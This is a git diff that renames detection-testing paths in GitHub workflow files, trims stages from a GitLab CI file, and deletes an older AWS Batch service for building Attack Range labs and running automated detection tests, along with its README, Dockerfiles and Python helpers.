diff --git a/.github/workflows/build-and-validate.yml b/.github/workflows/build-and-validate.yml index c9460f3505..6be3705b94 100644 --- a/.github/workflows/build-and-validate.yml +++ b/.github/workflows/build-and-validate.yml @@ -583,4 +583,4 @@ jobs: if [ "$API_STATUS" != "200" ]; then echo "Error [Security Content API status: $API_STATUS]" exit 1 - fi \ No newline at end of file + fi diff --git a/.github/workflows/detection-testing.yml b/.github/workflows/detection-testing.yml index 3d150e6206..8a1de3cd03 100644 --- a/.github/workflows/detection-testing.yml +++ b/.github/workflows/detection-testing.yml @@ -62,7 +62,7 @@ jobs: - name: Install Python Dependencies run: | - cd bin/automated_detection_testing/ci/detection_testing_batch + cd bin/docker_detection_tester python3 -m venv .venv source .venv/bin/activate python3 -m pip install wheel @@ -70,7 +70,7 @@ jobs: - name: Run the CI run: | - cd bin/automated_detection_testing/ci/detection_testing_batch + cd bin/docker_detection_tester source .venv/bin/activate echo "github.event.issue.pull_request : [${{ github.event.issue.pull_request }}]" echo "github.event.pull_request.number : [${{ github.event.pull_request.number }}]" @@ -97,24 +97,24 @@ jobs: with: name: testing-results-config path: | - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/apps/DA-ESS-ContentUpdate-latest.tar.gz - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/config_tests_0.json - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/config_tests_1.json - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/config_tests_2.json - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/config_tests_3.json - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/config_tests_4.json - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/config_tests_5.json - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/config_tests_6.json - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/config_tests_7.json - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/config_tests_8.json - bin/automated_detection_testing/ci/detection_testing_batch/prior_config/config_tests_9.json + bin/docker_detection_tester/prior_config/apps/DA-ESS-ContentUpdate-latest.tar.gz + bin/docker_detection_tester/prior_config/config_tests_0.json + bin/docker_detection_tester/prior_config/config_tests_1.json + bin/docker_detection_tester/prior_config/config_tests_2.json + bin/docker_detection_tester/prior_config/config_tests_3.json + bin/docker_detection_tester/prior_config/config_tests_4.json + bin/docker_detection_tester/prior_config/config_tests_5.json + bin/docker_detection_tester/prior_config/config_tests_6.json + bin/docker_detection_tester/prior_config/config_tests_7.json + bin/docker_detection_tester/prior_config/config_tests_8.json + bin/docker_detection_tester/prior_config/config_tests_9.json - name: Upload File to Enable Replication of the Test at a Different Time or Place uses: actions/upload-artifact@v2 with: name: replicate_test path: | - bin/automated_detection_testing/ci/detection_testing_batch/replicate_test.json + bin/docker_detection_tester/replicate_test.json docker-detection-testing-execution: runs-on: ubuntu-latest @@ -146,7 +146,7 @@ jobs: uses: actions/download-artifact@v2 with: name: testing-results-config - path: bin/automated_detection_testing/ci/detection_testing_batch/prior_config + path: bin/docker_detection_tester/prior_config - uses: actions/setup-python@v2 @@ -156,7 +156,7 @@ jobs: - name: Install Python Dependencies run: | - cd bin/automated_detection_testing/ci/detection_testing_batch + cd bin/docker_detection_tester python3 -m venv .venv source .venv/bin/activate python3 -m pip install wheel @@ -164,7 +164,7 @@ jobs: - name: Run the CI run: | - cd bin/automated_detection_testing/ci/detection_testing_batch + cd bin/docker_detection_tester source .venv/bin/activate python3 detection_testing_execution.py run -c prior_config/${{ matrix.manifest_filename}} @@ -175,16 +175,16 @@ jobs: with: name: ${{ matrix.manifest_filename}}.results path: | - bin/automated_detection_testing/ci/detection_testing_batch/test_results/success.csv - bin/automated_detection_testing/ci/detection_testing_batch/test_results/error.csv - bin/automated_detection_testing/ci/detection_testing_batch/test_results/failure.csv - bin/automated_detection_testing/ci/detection_testing_batch/test_results/combined.csv - bin/automated_detection_testing/ci/detection_testing_batch/test_results/success.json - bin/automated_detection_testing/ci/detection_testing_batch/test_results/error.json - bin/automated_detection_testing/ci/detection_testing_batch/test_results/failure.json - bin/automated_detection_testing/ci/detection_testing_batch/test_results/combined.json + bin/docker_detection_tester/test_results/success.csv + bin/docker_detection_tester/test_results/error.csv + bin/docker_detection_tester/test_results/failure.csv + bin/docker_detection_tester/test_results/combined.csv + bin/docker_detection_tester/test_results/success.json + bin/docker_detection_tester/test_results/error.json + bin/docker_detection_tester/test_results/failure.json + bin/docker_detection_tester/test_results/combined.json - bin/automated_detection_testing/ci/detection_testing_batch/test_results/summary.json + bin/docker_detection_tester/test_results/summary.json docker-detection-testing-execution-merge-results: runs-on: ubuntu-latest @@ -205,52 +205,52 @@ jobs: uses: actions/download-artifact@v2 with: name: config_tests_0.json.results - path: bin/automated_detection_testing/ci/detection_testing_batch/results_0 + path: bin/docker_detection_tester/results_0 - name: Download artifacts uses: actions/download-artifact@v2 with: name: config_tests_1.json.results - path: bin/automated_detection_testing/ci/detection_testing_batch/results_1 + path: bin/docker_detection_tester/results_1 - name: Download artifacts uses: actions/download-artifact@v2 with: name: config_tests_2.json.results - path: bin/automated_detection_testing/ci/detection_testing_batch/results_2 + path: bin/docker_detection_tester/results_2 - name: Download artifacts uses: actions/download-artifact@v2 with: name: config_tests_3.json.results - path: bin/automated_detection_testing/ci/detection_testing_batch/results_3 + path: bin/docker_detection_tester/results_3 - name: Download artifacts uses: actions/download-artifact@v2 with: name: config_tests_4.json.results - path: bin/automated_detection_testing/ci/detection_testing_batch/results_4 + path: bin/docker_detection_tester/results_4 - name: Download artifacts uses: actions/download-artifact@v2 with: name: config_tests_5.json.results - path: bin/automated_detection_testing/ci/detection_testing_batch/results_5 + path: bin/docker_detection_tester/results_5 - name: Download artifacts uses: actions/download-artifact@v2 with: name: config_tests_6.json.results - path: bin/automated_detection_testing/ci/detection_testing_batch/results_6 + path: bin/docker_detection_tester/results_6 - name: Download artifacts uses: actions/download-artifact@v2 with: name: config_tests_7.json.results - path: bin/automated_detection_testing/ci/detection_testing_batch/results_7 + path: bin/docker_detection_tester/results_7 - name: Download artifacts uses: actions/download-artifact@v2 with: name: config_tests_8.json.results - path: bin/automated_detection_testing/ci/detection_testing_batch/results_8 + path: bin/docker_detection_tester/results_8 - name: Download artifacts uses: actions/download-artifact@v2 with: name: config_tests_9.json.results - path: bin/automated_detection_testing/ci/detection_testing_batch/results_9 + path: bin/docker_detection_tester/results_9 - uses: actions/setup-python@v2 with: @@ -259,7 +259,7 @@ jobs: - name: Install Python Dependencies run: | - cd bin/automated_detection_testing/ci/detection_testing_batch + cd bin/docker_detection_tester python3 -m venv .venv source .venv/bin/activate python3 -m pip install wheel @@ -267,7 +267,7 @@ jobs: - name: Merge Detections into single File run: | - cd bin/automated_detection_testing/ci/detection_testing_batch + cd bin/docker_detection_tester source .venv/bin/activate python summarize_json.py --files results_*/summary.json --output_filename summary_test_results.json @@ -278,7 +278,7 @@ jobs: with: name: SummaryTestResults path: | - bin/automated_detection_testing/ci/detection_testing_batch/summary_test_results.json + bin/docker_detection_tester - name: Upload Failures Manifest on Failure uses: actions/upload-artifact@v2 @@ -286,7 +286,7 @@ jobs: with: name: DetectionFailureManifest path: | - bin/automated_detection_testing/ci/detection_testing_batch/detection_failure_manifest.json + bin/docker_detection_tester/detection_failure_manifest.json #Always clean these up, they make the output messy diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index 40b8bb9eb4..f729c0b34b 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -1,66 +1,6 @@ -variables: - GIT_SUBMODULE_STRATEGY: recursive - K8S_PLAYGROUND_ROLE: k8s:v1/app-play1/namespace/threat-research/role/deployer - K8S_GSTAGING_ROLE: k8s:v1/kube-wicket-iad10/namespace/tr-st-deploy/role/deployer - DOCKER_ROLE: docker:v1/registry/prefix/threat-research - K8_DEPLOYER_CONTAINER: docker.repo.splunkdev.net/threat-research/k8-deployer - SMOKETEST_RUNNER: docker.repo.splunkdev.net/threat-research/smoketest-runner - SRCBRANCH: $CI_COMMIT_REF_NAME - stages: - - publish_smoketest_runner - - publish_deployer - - smoketest_staging - publish_build_to_pre_qa - -publish_deployer: - stage: publish_deployer - image: docker.repo.splunkdev.net/ci-cd/ci-container:alpine-3.11 - before_script: - - apk add --update docker - script: - - eval $(go-go vault -a ${DOCKER_ROLE}) - - cd bin/ssa-end-to-end-testing/k8s-deployer - - docker build . -t ${K8_DEPLOYER_CONTAINER}:${CI_COMMIT_SHORT_SHA} - - docker push ${K8_DEPLOYER_CONTAINER}:${CI_COMMIT_SHORT_SHA} - only: - - /^ssa.*$/ - - develop - -publish_smoketest_runner: - stage: publish_smoketest_runner - image: docker.repo.splunkdev.net/ci-cd/ci-container:alpine-3.11 - before_script: - - apk add --update docker - script: - - eval $(go-go vault -a ${DOCKER_ROLE}) - - docker build bin/ssa-end-to-end-testing/smoke-test-runner -t ${SMOKETEST_RUNNER}:${CI_COMMIT_SHORT_SHA} --build-arg SRCBRANCH=$CI_COMMIT_REF_NAME - - docker push ${SMOKETEST_RUNNER}:${CI_COMMIT_SHORT_SHA} - only: - - /^ssa.*$/ - - develop - -smoketest_staging: - stage: smoketest_staging - resource_group: staging - dependencies: - - publish_smoketest_runner - - publish_deployer - image: ${K8_DEPLOYER_CONTAINER}:${CI_COMMIT_SHORT_SHA} - script: - - eval $(go-go vault -a ${K8S_GSTAGING_ROLE}) - - eval $(go-go vault -a ${DOCKER_ROLE}) - - cd /deployer/k8s - - ./deployer.sh - - ./check_deploy_status.sh - variables: - SCSENV: app_gstaging1 - SMOKETEST_RUNNER_IMAGE: ${SMOKETEST_RUNNER}:${CI_COMMIT_SHORT_SHA} - only: - - /^ssa.*$/ - - develop - publish_build_to_pre_qa: stage: publish_build_to_pre_qa artifacts: diff --git a/bin/automated_detection_testing/.dockerignore b/bin/automated_detection_testing/.dockerignore deleted file mode 100644 index 6858c00db2..0000000000 --- a/bin/automated_detection_testing/.dockerignore +++ /dev/null @@ -1,6 +0,0 @@ - -venv -security-content -attack_range -attack_range.log -Dockerfile diff --git a/bin/automated_detection_testing/Dockerfile b/bin/automated_detection_testing/Dockerfile deleted file mode 100644 index 01d7868bc3..0000000000 --- a/bin/automated_detection_testing/Dockerfile +++ /dev/null @@ -1,22 +0,0 @@ -FROM ubuntu:18.04 -MAINTAINER Patrick Bareiss - -RUN apt-get update -RUN DEBIAN_FRONTEND="noninteractive" apt-get -y install tzdata -RUN apt-get install -y python3-dev git python-dev unzip python3-pip awscli -RUN apt-get install -y python-gitdb -RUN apt-get install -y wget unzip - -RUN wget --quiet https://releases.hashicorp.com/terraform/0.13.1/terraform_0.13.1_linux_amd64.zip \ - && unzip terraform_0.13.1_linux_amd64.zip \ - && mv terraform /usr/bin \ - && rm terraform_0.13.1_linux_amd64.zip - -ADD config /root/.aws/config -ADD . /app - -WORKDIR /app -RUN pip3 install -r requirements.txt - -ENTRYPOINT ["python3", "detection_service.py"] -CMD ["-tfn", "T1003_002"] diff --git a/bin/automated_detection_testing/README.md b/bin/automated_detection_testing/README.md deleted file mode 100644 index 310ed9f6cb..0000000000 --- a/bin/automated_detection_testing/README.md +++ /dev/null @@ -1,152 +0,0 @@ -# Automated Detection Testing -Testing detection is a very important task during detection engineering. As it takes a lot of time and is a repeating task, we used the Attack Range to build an automated detection testing service. - -## Architecture -![Architecture](automated_detection_testing/architecture_automated_detection_testing.png) -The automated detection testing is using AWS Batch as execution engine. AWS batch allows you to run batch computing jobs, in our case a automated detection test. detection_service.py is the executable which controls the detection test. This executable is deployed in a docker container which is used by AWS Batch. - - -## Usage -``` -python detection_service.py -usage: detection_service.py [-h] -tfn TEST_FILE_NAME - [-arr ATTACK_RANGE_REPO] - [-arb ATTACK_RANGE_BRANCH] - [-scr SECURITY_CONTENT_REPO] - [-scb SECURITY_CONTENT_BRANCH] - [-gt GITHUB_TOKEN] - [-smk SECRETS_MANAGER_KEY] - [-s3b S3_BUCKET] -detection_service.py: error: the following arguments are required: -tfn/--test_file_name -``` - -The detection_service.py has one mandatory parameter, which is --test_file_name. This parameter will look into the security content repository under tests for the specified test file (without extension). The other parameters are optional and can be used to specify forks of projects or specific branches. The detection_service.py is creating Pull Requests after a successful test. Therefore, it needs a Github OAUTH Token. This can be either added with the parameter --github_token or can be derived from the [AWS secrets manager](https://aws.amazon.com/secrets-manager/) through --secrets_manager_key. Let's have a look how to use the detection service after you deployed it. - -Let's have a look how to use the attack data service after you deployed it: - -### Using AWS CLI - -Example 1: -``` -aws batch submit-job --job-name detection_test_T1003_001 --job-definition detection_service_job --job-queue detection_service_queue --container-overrides '{"command": ["-tfn", "T1003_001"]}' -``` - -Example 2: -``` -aws batch submit-job --job-name detection_test_T1003_001 --job-definition detection_service_job --job-queue detection_service_queue --container-overrides '{"command": ["-tfn", "T1003_001", "-scr", "P4T12ICK/security-content", "-scb", "develop_detection_T1003", "-smk", "github_token"], "-s3b", "my_detection_test_bucket"}' -``` - -### Using AWS Web Portal -The Attack Data Generation Service can be also triggered over the AWS Web Portal. You will first click on the service "Batch" and then click on the left side "Jobs". Then, you click on "submit new job". You will fill the variables according to the following screenshot and click on "Submit". -![AWS Batch Job](attack_data_service/static/aws_batch_submit_job.png) - - -## Deployment -In order to deploy the Detection Testing Service to AWS Batch, please follow this guideline. This description assumes that you will deploy the Detection Testing Service to the region eu-central-1. - -### Prerequisites -- AWS account -- IAM user with administrative permissions -- AWS CLI -- Docker -- S3 bucket to store detection test data - -### Create GitHub Token -The GitHub Token allows the Automate Detection Testing Service to create Pull Requests. -- Create a Personal GitHub Acces Token according to the following [tutorial](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/creating-a-personal-access-token) - -### Upload GitHub Token to AWS Secrets Manager -- Connect to AWS Web Portal -- Go to the AWS Secrets Manager -- Choose region eu-central-1 -- Click on "Store a new secret" -- Click on "Other type of secrets" -- Add "github_token" as key -- Copy the github token as value -- Click on "Next" -- Use "github_token" as Secret name -- Click on "Next" -- Click on "Next" -- Click on "Store" - -### Create AWS ECR Repository -- Connect to AWS Web Portal -- Go to service "Elastic Container Registry" -- Click on "Repositories" under Amazon ECR on the left side. -- Click on "Create repository" -- Add "awsbatch/detection-testing-service" as repository name -- Click on "Create repository" - -### Build and Upload Docker File -- Navgigate to the automated_detection_testing folder: -``` -cd automated_detection_testing -``` -- Build the docker container -``` -docker build --tag awsbatch/detection-testing-service . -``` -- Tag the docker container (The aws account number can be found in the AWS ECR Repository path) -``` -docker tag awsbatch/detection-testing-service:latest [aws_account_number].dkr.ecr.eu-central-1.amazonaws.com/awsbatch/detection-testing-service:latest -``` -- Login to AWS ECR -``` -aws ecr get-login-password --region eu-central-1 | docker login --username AWS --password-stdin [aws_account_number].dkr.ecr.eu-central-1.amazonaws.com -``` -- Upload Docker container -``` -docker push [aws_account_number].dkr.ecr.eu-central-1.amazonaws.com/awsbatch/detection-testing-service:latest -``` - -### Configure AWS Batch -- Connect to AWS Web Portal -- Go to service "AWS Batch" -- Click on "Compute environments" on the left side -- Click on "Create" -- Use "detection_testing_service_environment" as "Compute environment name" -- Define Instance Configuration according to your demand. You can choose small instance types, because the instance will run docker and docker will only run a python script. -- Define the vpc and subnets which you want to use in Networking -- Click on "create compute environment" - -- Click on "Job queues" on the left side -- Click on "Create" -- Use "detection_testing_service_queue" as "Job queue name" -- Select "detection_testing_service_environment" as "compute environment" -- Click on "Create" - -- Go to service "IAM" -- Create the following role with name: detection_testing_service_role with the Policies AmazonEC2FullAccess, SecretsManagerReadWrite and AmazonS3FullAccess - -- Go to service "AWS Batch" -- Click on "Job definitions" on the left side -- Click on "Create" -- Use "detection_testing_service" as Name -- Use 3000 as "Execution timeout" -- Container properties: -- Use "[aws_account_number].dkr.ecr.eu-central-1.amazonaws.com/awsbatch/detection-testing-service:latest" as Image -- remove Command from Command field -- Use 2 in vCPUs -- Use 2048 in Memory -- Click on "Additional configuration" -- Use "detection_testing_service_role" as Job Role -- Use root as "User" under Security -- Click on "Create" - -## Local Detection Testing -The Detection Testing Service can be also run locally. -- Navgigate to the automated_detection_testing folder: -``` -cd automated_detection_testing -``` -- Build the docker container -``` -docker build --tag awsbatch/detection-testing-service . -``` -- Run the docker container -``` -docker run -v ~/.aws/credentials:/root/.aws/credentials:ro --name attackrange awsbatch/detection-testing-service:latest -tfn T1003_001 -s3b my_detection_test_bucket -scr P4T12ICK/security-content -scb new_detections -``` - -## Troubleshooting -AWS Batch will store the logs in Cloudwatch. Check the cloudwatch logs for Troubleshooting. diff --git a/bin/automated_detection_testing/architecture_automated_detection_testing.png b/bin/automated_detection_testing/architecture_automated_detection_testing.png deleted file mode 100644 index 7c1b07ff5e..0000000000 Binary files a/bin/automated_detection_testing/architecture_automated_detection_testing.png and /dev/null differ diff --git a/bin/automated_detection_testing/ci/attack_range_for_testing/Dockerfile b/bin/automated_detection_testing/ci/attack_range_for_testing/Dockerfile deleted file mode 100644 index e0acde181a..0000000000 --- a/bin/automated_detection_testing/ci/attack_range_for_testing/Dockerfile +++ /dev/null @@ -1,20 +0,0 @@ -FROM ubuntu:18.04 - -RUN apt-get update -RUN DEBIAN_FRONTEND="noninteractive" apt-get -y install tzdata -RUN apt-get install -y python3-dev git python-dev unzip python3-pip awscli -RUN apt-get install -y python-gitdb -RUN apt-get install -y wget unzip - -RUN wget --quiet https://releases.hashicorp.com/terraform/0.13.1/terraform_0.13.1_linux_amd64.zip \ - && unzip terraform_0.13.1_linux_amd64.zip \ - && mv terraform /usr/bin \ - && rm terraform_0.13.1_linux_amd64.zip - -ADD . /app - -WORKDIR /app -RUN pip3 install -r requirements.txt - -ENTRYPOINT ["python3", "detection_service.py"] -CMD ["-a", "rebuild"] \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/attack_range_for_testing/detection_service.py b/bin/automated_detection_testing/ci/attack_range_for_testing/detection_service.py deleted file mode 100644 index 721f4094ed..0000000000 --- a/bin/automated_detection_testing/ci/attack_range_for_testing/detection_service.py +++ /dev/null @@ -1,58 +0,0 @@ -import os -from os import path -import sys -import argparse -import time -import shutil - -from helpers import github_service, aws_service, attack_range_controller - - -DT_ATTACK_RANGE_STATE_STORE = "dt-attack-range-tf-state-store" -DT_ATTACK_RANGE_STATE = "dt-attack-range-state" -REGION = "eu-central-1" -NAME = "detection-testing-attack-range" - - -def main(args): - - parser = argparse.ArgumentParser(description="CI Detection Testing") - parser.add_argument("-a", "--action", required=True, help="action") - - args = parser.parse_args() - action = args.action - - if action == "build": - build_dt_attack_range() - - elif action == "destroy": - destroy_dt_attack_range() - - elif action == "rebuild": - destroy_dt_attack_range() - shutil.rmtree('attack_range') - time.sleep(60) - build_dt_attack_range() - - -def build_dt_attack_range(): - github_service.clone_attack_range_project() - aws_service.create_tf_state_store(DT_ATTACK_RANGE_STATE_STORE, REGION) - aws_service.create_db_database(DT_ATTACK_RANGE_STATE, REGION) - ssh_key_name, key_material = aws_service.create_key_pair(REGION) - time.sleep(10) - aws_service.create_entry_database(REGION, DT_ATTACK_RANGE_STATE, NAME, "building", ssh_key_name, key_material) - password = attack_range_controller.build_attack_range(REGION, DT_ATTACK_RANGE_STATE_STORE, ssh_key_name) - aws_service.update_entry_database(REGION, DT_ATTACK_RANGE_STATE, NAME, password, "running") - - -def destroy_dt_attack_range(): - data = aws_service.get_entry_database(REGION, DT_ATTACK_RANGE_STATE, NAME) - github_service.clone_attack_range_project() - attack_range_controller.destroy_attack_range(REGION, data, DT_ATTACK_RANGE_STATE_STORE) - aws_service.delete_db_database(DT_ATTACK_RANGE_STATE, REGION) - aws_service.delete_tf_state_store(REGION, DT_ATTACK_RANGE_STATE_STORE) - - -if __name__ == "__main__": - main(sys.argv[1:]) \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/attack_range_for_testing/helpers/attack_range_controller.py b/bin/automated_detection_testing/ci/attack_range_for_testing/helpers/attack_range_controller.py deleted file mode 100644 index d00f21f073..0000000000 --- a/bin/automated_detection_testing/ci/attack_range_for_testing/helpers/attack_range_controller.py +++ /dev/null @@ -1,82 +0,0 @@ -from shutil import which -import secrets -import string -import os -import logging -import sys -import time - -from helpers import aws_service - - -# Logger -logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO")) -LOGGER = logging.getLogger(__name__) - - -def create_random_password(): - alphabet = string.ascii_letters + string.digits - password = ''.join(secrets.choice(alphabet) for i in range(10)) - password = '!1' + password + 'n:' - return password - - -def configure_attack_range(region, tf_state_store, password, ssh_key_name): - sys.path.append(os.path.join(os.getcwd(),'attack_range')) - - with open('attack_range/attack_range.conf.template', 'r') as file : - filedata = file.read() - - filedata = filedata.replace('attack_range_password = Pl3ase-k1Ll-me:p', 'attack_range_password = ' + password) - filedata = filedata.replace('tf_backend = local', 'tf_backend = remote') - filedata = filedata.replace('tf_backend_name = threat_research_attack_range', 'tf_backend_name = ' + tf_state_store) - filedata = filedata.replace('region = us-west-2', 'region = ' + region) - filedata = filedata.replace('windows_domain_controller = 1', 'windows_domain_controller = 0') - filedata = filedata.replace('windows_server_join_domain = 1', 'windows_server_join_domain = 0') - filedata = filedata.replace('range_name = default', 'range_name = dt') - filedata = filedata.replace('key_name = attack-range-key-pair', 'key_name = ' + ssh_key_name) - filedata = filedata.replace('private_key_path = ~/.ssh/id_rsa', 'private_key_path = ' + str(os.getcwd() + "/" + ssh_key_name)) - - with open('attack_range/attack_range.conf', 'w') as file: - file.write(filedata) - - -def build_attack_range(region, tf_state_store, ssh_key_name): - - password = create_random_password() - - configure_attack_range(region, tf_state_store, password, ssh_key_name) - - module = __import__('attack_range') - module.sys.argv = ['attack_range', '--config', 'attack_range/attack_range.conf', 'build'] - - try: - LOGGER.info(f"Build Attack Range") - results = module.main(module.sys.argv) - except Exception as e: - LOGGER.error('Build Error: ' + str(e)) - module.sys.argv = ['attack_range', '--config', 'attack_range/attack_range.conf', 'destroy'] - module.main(module.sys.argv) - sys.exit(1) - - return password - - -def destroy_attack_range(region, data, tf_state_store): - - password = data['password'] - ssh_key_name = data['ssh_key_name'] - - configure_attack_range(region, tf_state_store, password, ssh_key_name) - - module = __import__('attack_range') - module.sys.argv = ['attack_range', '--config', 'attack_range/attack_range.conf', 'destroy'] - - try: - LOGGER.info(f"Destroy Attack Range") - results = module.main(module.sys.argv) - except Exception as e: - LOGGER.error('Build Error: ' + str(e)) - module.sys.argv = ['attack_range', '--config', 'attack_range/attack_range.conf', 'destroy'] - module.main(module.sys.argv) - sys.exit(1) diff --git a/bin/automated_detection_testing/ci/attack_range_for_testing/helpers/aws_service.py b/bin/automated_detection_testing/ci/attack_range_for_testing/helpers/aws_service.py deleted file mode 100644 index cb55bff8d1..0000000000 --- a/bin/automated_detection_testing/ci/attack_range_for_testing/helpers/aws_service.py +++ /dev/null @@ -1,167 +0,0 @@ -import boto3 -from botocore.config import Config -import time -import os -import json - - -def create_key_pair(region): - my_config = Config(region_name = region) - epoch_time = str(int(time.time())) - ssh_key_name = 'key-dt-' + epoch_time - ec2 = boto3.client('ec2', config=my_config) - response = ec2.create_key_pair(KeyName=ssh_key_name) - with open(ssh_key_name, "w") as ssh_key: - ssh_key.write(response['KeyMaterial']) - os.chmod(ssh_key_name, 0o600) - private_key_path = str(os.getcwd() + "/" + ssh_key_name) - - return ssh_key_name, response['KeyMaterial'] - - -def delete_key_pair(region, key_pair_name): - my_config = Config(region_name = region) - ec2 = boto3.client('ec2', config=my_config) - response = ec2.delete_key_pair(KeyName=key_pair_name) - - -def create_entry_database(region, db_name, name, state, ssh_key_name, private_key): - resource = boto3.resource('dynamodb', region_name=region) - table = resource.Table(db_name) - response = table.put_item(Item= { - 'name': name, - 'ssh_key_name': ssh_key_name, - 'private_key': private_key, - 'status': state - }) - - -def update_entry_database(region, db_name, name, password, state): - resource = boto3.resource('dynamodb', region_name=region) - table = resource.Table(db_name) - response = table.update_item( - Key={ - 'name': name - }, - UpdateExpression="set #ts=:s, password=:p", - ExpressionAttributeValues={ - ':s': state, - ':p': password - }, - ExpressionAttributeNames={ - "#ts": "status" - }, - ReturnValues="UPDATED_NEW" - ) - - -def delete_entry_database(region, db_name, name): - resource = boto3.resource('dynamodb', region_name=region) - table = resource.Table(db_name) - response = table.delete_item( - Key={ - 'name': name - } - ) - - -def get_entry_database(region, db_name, name): - resource = boto3.resource('dynamodb', region_name=region) - table = resource.Table(db_name) - response = table.get_item( - Key={ - 'name': name - } - ) - if 'Item' in response: - return response['Item'] - else: - return {} - - -def create_db_database(name, region): - my_config = Config(region_name = region) - client = boto3.client('dynamodb', config=my_config) - response = client.create_table( - TableName=name, - KeySchema=[ - { - 'AttributeName': 'name', - 'KeyType': 'HASH' # Partition key - } - ], - AttributeDefinitions=[ - { - 'AttributeName': 'name', - 'AttributeType': 'S' - } - ], - ProvisionedThroughput={ - 'ReadCapacityUnits': 10, - 'WriteCapacityUnits': 10 - } - ) - - -def delete_db_database(db_name, region): - dynamodb = boto3.resource('dynamodb', region_name=region) - table = dynamodb.Table(db_name) - table.delete() - - -def create_tf_state_store(name, region): - my_config = Config(region_name = region) - s3 = boto3.client('s3', config=my_config) - response = s3.create_bucket(Bucket=name, CreateBucketConfiguration={'LocationConstraint': region}) - - client = boto3.client('dynamodb', config=my_config) - response = client.create_table( - TableName=name, - KeySchema=[ - { - 'AttributeName': 'LockID', - 'KeyType': 'HASH' # Partition key - } - ], - AttributeDefinitions=[ - { - 'AttributeName': 'LockID', - 'AttributeType': 'S' - } - ], - ProvisionedThroughput={ - 'ReadCapacityUnits': 10, - 'WriteCapacityUnits': 10 - } - ) - - -def delete_tf_state_store(region, name): - s3 = boto3.resource('s3', region_name=region) - bucket = s3.Bucket(name) - bucket.objects.all().delete() - bucket.delete() - - dynamodb = boto3.resource('dynamodb', region_name=region) - table = dynamodb.Table(name) - table.delete() - - -def get_secret(secret_name): - region_name = "eu-central-1" - session = boto3.session.Session() - client = session.client( - service_name='secretsmanager', - region_name=region_name - ) - - get_secret_value_response = client.get_secret_value(SecretId=secret_name) - - if 'SecretString' in get_secret_value_response: - secret = get_secret_value_response['SecretString'] - secret_obj = json.loads(secret) - - return secret_obj[secret_name] - - - \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/attack_range_for_testing/helpers/github_service.py b/bin/automated_detection_testing/ci/attack_range_for_testing/helpers/github_service.py deleted file mode 100644 index 8883501451..0000000000 --- a/bin/automated_detection_testing/ci/attack_range_for_testing/helpers/github_service.py +++ /dev/null @@ -1,16 +0,0 @@ -import git -import os -import logging - -from helpers import aws_service - -# Logger -logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO")) -LOGGER = logging.getLogger(__name__) - - -def clone_attack_range_project(): - LOGGER.info(f"Clone Attack Range Project") - O_AUTH_TOKEN_GITHUB = aws_service.get_secret("github_token") - repo_obj = git.Repo.clone_from('https://' + O_AUTH_TOKEN_GITHUB + ':x-oauth-basic@github.com/splunk/attack_range', "attack_range", branch='develop') - return repo_obj \ No newline at end of file diff --git a/bin/automated_detection_testing/ci/attack_range_for_testing/requirements.txt b/bin/automated_detection_testing/ci/attack_range_for_testing/requirements.txt deleted file mode 100644 index 0e8920b87c..0000000000 --- a/bin/automated_detection_testing/ci/attack_range_for_testing/requirements.txt +++ /dev/null @@ -1,79 +0,0 @@ -ansible==4.2.0 -ansible-runner==1.4.7 -apipkg==1.5 -aspy.yaml==1.3.0 -atomicwrites==1.4.0 -attackcti==0.3.4.3 -attrs==20.3.0 -azure-common==1.1.25 -azure-core==1.8.2 -azure-identity==1.4.1 -azure-mgmt-compute==17.0.0 -azure-mgmt-core==1.2.1 -azure-mgmt-network==16.0.0 -azure-mgmt-resource==15.0.0 -bcrypt==3.2.0 -boto3==1.17.30 -botocore==1.20.30 -certifi==2020.12.5 -cffi==1.14.5 -cfgv==2.0.1 -chardet==4.0.0 -configparser==5.0.2 -contextlib2==0.6.0.post1 -Deprecated==1.2.12 -dnspython==2.1.0 -docutils==0.16 -execnet==1.8.0 -gitdb==4.0.5 -GitPython==3.1.14 -identify==2.1.3 -idna==2.8 -importlib-metadata==3.7.3 -Jinja2==2.11.3 -jmespath==0.10.0 -lockfile==0.12.2 -MarkupSafe==1.1.1 -mock==4.0.3 -more-itertools==8.7.0 -mysql-connector-python==8.0.23 -nodeenv==1.3.4 -ntlm-auth==1.5.0 -packaging==20.9 -path==15.1.2 -path.py==12.5.0 -pexpect==4.8.0 -pluggy==0.13.1 -pre-commit==2.11.1 -protobuf==3.15.6 -psutil==5.8.0 -ptyprocess==0.7.0 -py==1.10.0 -pycparser==2.20 -PyGithub==1.54.1 -PyInquirer==1.0.3 -PyJWT<2.0.1 -PyNaCl==1.4.0 -pyparsing==2.4.7 -pytest==6.2.2 -python-daemon==2.3.0 -python-dateutil==2.8.1 -python-terraform==0.10.1 -pywinrm==0.4.1 -PyYAML==5.4.1 -requests==2.25.1 -requests-ntlm==1.1.0 -s3transfer==0.3.4 -six==1.13.0 -smmap==3.0.5 -splunk-sdk==1.6.15 -tabulate==0.8.9 -termcolor==1.1.0 -toml==0.10.2 -urllib3==1.26.5 -virtualenv==20.4.3 -wcwidth==0.2.5 -wget==3.2 -wrapt==1.12.1 -xmltodict==0.12.0 -zipp==3.4.1 diff --git a/bin/automated_detection_testing/ci/labeled_data/Dockerfile b/bin/automated_detection_testing/ci/labeled_data/Dockerfile deleted file mode 100644 index 9a1599ee1a..0000000000 --- a/bin/automated_detection_testing/ci/labeled_data/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM ubuntu:18.04 - -RUN apt-get update -RUN DEBIAN_FRONTEND="noninteractive" apt-get -y install tzdata -RUN apt-get install -y python3-dev git python-dev unzip python3-pip awscli -RUN apt-get install -y python-gitdb -RUN apt-get install -y wget unzip - -ADD . /app - -WORKDIR /app 